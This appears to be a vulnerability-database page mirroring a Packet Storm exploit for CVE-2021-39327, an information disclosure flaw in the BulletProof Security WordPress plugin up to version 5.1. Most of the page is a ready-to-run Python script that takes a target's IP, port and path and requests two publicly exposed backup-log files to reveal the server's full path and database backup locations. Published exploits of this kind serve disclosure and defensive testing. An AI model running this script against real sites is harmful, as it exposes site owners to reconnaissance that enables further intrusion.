Lucene search
K

WordPress BulletProof Security 5.1 Information Disclosure

🗓️ 06 Oct 2021 00:00:00Reported by Ron JostType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 263 Views

WordPress BulletProof Security 5.1 - Information Disclosure, Sensitive Information Disclosure, Full Site Path Disclosure Vulnerabilit

Related
Code
`# Exploit Title: Wordpress Plugin BulletProof Security 5.1 - Sensitive Information Disclosure  
# Date 04.10.2021  
# Exploit Author: Ron Jost (Hacker5preme)  
# Vendor Homepage: https://forum.ait-pro.com/read-me-first/  
# Software Link: https://downloads.wordpress.org/plugin/bulletproof-security.5.1.zip  
# Version: <= 5.1  
# Tested on: Ubuntu 18.04  
# CVE: CVE-2021-39327  
# CWE: CWE-200  
# Documentation: https://github.com/Hacker5preme/Exploits/blob/main/Wordpress/CVE-2021-39327/README.md  
  
  
'''  
Description:  
The BulletProof Security WordPress plugin is vulnerable to sensitive information disclosure due to a file path disclosure in the publicly accessible   
~/db_backup_log.txt file which grants attackers the full path of the site, in addition to the path of database backup files.   
This affects versions up to, and including, 5.1.  
'''  
  
'''  
'Banner:  
'''  
banner = '''  
______ _______ ____ ___ ____ _ _____ ___ _________ _____   
/ ___\ \ / / ____| |___ \ / _ \___ \/ | |___ // _ \___ /___ \___ |  
| | \ \ / /| _| _____ __) | | | |__) | |_____ |_ \ (_) ||_ \ __) | / /   
| |___ \ V / | |__|_____/ __/| |_| / __/| |_____|__) \__, |__) / __/ / /   
\____| \_/ |_____| |_____|\___/_____|_| |____/ /_/____/_____/_/   
  
* Sensitive information disclosure  
@ Author: Ron Jost  
'''  
print(banner)  
  
  
import argparse   
import requests  
  
'''  
User-Input:  
'''  
my_parser = argparse.ArgumentParser(description='Wordpress Plugin BulletProof Security - Sensitive information disclosure')  
my_parser.add_argument('-T', '--IP', type=str)  
my_parser.add_argument('-P', '--PORT', type=str)  
my_parser.add_argument('-U', '--PATH', type=str)  
args = my_parser.parse_args()  
target_ip = args.IP  
target_port = args.PORT  
wp_path = args.PATH  
print('')  
print('[*] Starting Exploit:')  
print('')  
  
paths = ["/wp-content/bps-backup/logs/db_backup_log.txt", "/wp-content/plugins/bulletproof-security/admin/htaccess/db_backup_log.txt"]  
  
# Exploit  
for pathadd in paths:  
x = requests.get("http://" + target_ip + ':' + target_port + '/' + wp_path + pathadd)  
print(x.text)  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation